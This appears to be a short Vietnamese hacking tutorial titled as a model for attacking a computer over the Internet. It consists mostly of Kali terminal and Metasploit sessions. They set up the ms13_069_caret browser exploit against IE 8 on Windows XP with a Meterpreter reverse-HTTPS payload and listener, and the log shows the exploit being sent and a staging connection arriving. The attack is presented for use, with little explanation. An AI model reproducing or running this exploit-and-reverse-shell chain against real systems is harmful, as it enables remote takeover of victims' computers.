Mô hình hacking một máy tính thông qua Internet

root@kali:~# cd /tmp
root@kali:/tmp# echo "It works" > test.html

root@kali:/tmp# python -m SimpleHTTPServer 443
Serving HTTP on 0.0.0.0 port 443 ...
192.168.1.26 - - [04/Dec/2015 10:29:24] "GET /test.html HTTP/1.1" 200 -
192.168.1.26 - - [04/Dec/2015 10:29:24] code 404, message File not found
192.168.1.26 - - [04/Dec/2015 10:29:24] "GET /favicon.ico HTTP/1.1" 404 -
192.168.1.26 - - [04/Dec/2015 10:29:24] code 404, message File not found
192.168.1.26 - - [04/Dec/2015 10:29:24] "GET /favicon.ico HTTP/1.1" 404 -

root@kali:~# cd /tmp
root@kali:/tmp# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
192.168.1.26 - - [04/Dec/2015 11:01:15] "GET /test.html HTTP/1.1" 200 -

msf > use exploit/windows/browser/ms13_069_caret
msf exploit(ms13_069_caret) > show options

Module options (exploit/windows/browser/ms13_069_caret):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   0   IE 8 on Windows XP SP3


msf exploit(ms13_069_caret) > set SRVPORT 80
SRVPORT => 80
msf exploit(ms13_069_caret) > set URIPATH /
URIPATH => /
msf exploit(ms13_069_caret) >

msf exploit(ms13_069_caret) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(ms13_069_caret) > show options

Module options (exploit/windows/browser/ms13_069_caret):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  80               yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH  /                no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: ', seh, thread, process, none)
   LHOST                      yes       The local listener hostname
   LPORT     8443             yes       The local listener port


Exploit target:

   Id  Name
   --  ----
   0   IE 8 on Windows XP SP3


msf exploit(ms13_069_caret) >

Chúng ta có thể nói cho nó biết để lắng nghe trên IP LAN

[CODE]
msf exploit(ms13_069_caret) > set ReverseListenerBindAddress 192.168.1.26
ReverseListenerBindAddress => 192.168.1.26

msf exploit(ms13_069_caret) > exploit
[*]Exploit running as background job.
[*]Started HTTPS reverse handler on https://192.168.1.26:443/
[*]Using URL: http://0.0.0.0:80/
[*]Local IP: http://192.168.1.26:80/
[*]Server started.
msf exploit(ms13_069_caret) >

msf exploit(ms13_069_caret) >
[*]2.2.2.2   ms13_069_caret - Sending exploit...
[*]2.2.2.2   ms13_069_caret - Sending exploit...
[*]2.2.2.2:53893 Request received for /NtFT...
[*]2.2.2.2:53893 Staging connection for target /NtFT received...
[*]Patched user-agent at offset 663128...
[*]Patched transport at offset 662792...
[*]Patched URL at offset 662856...
[*]Patched Expiration Timeout at offset 663728...
[*]Patched Communication Timeout at offset 663732...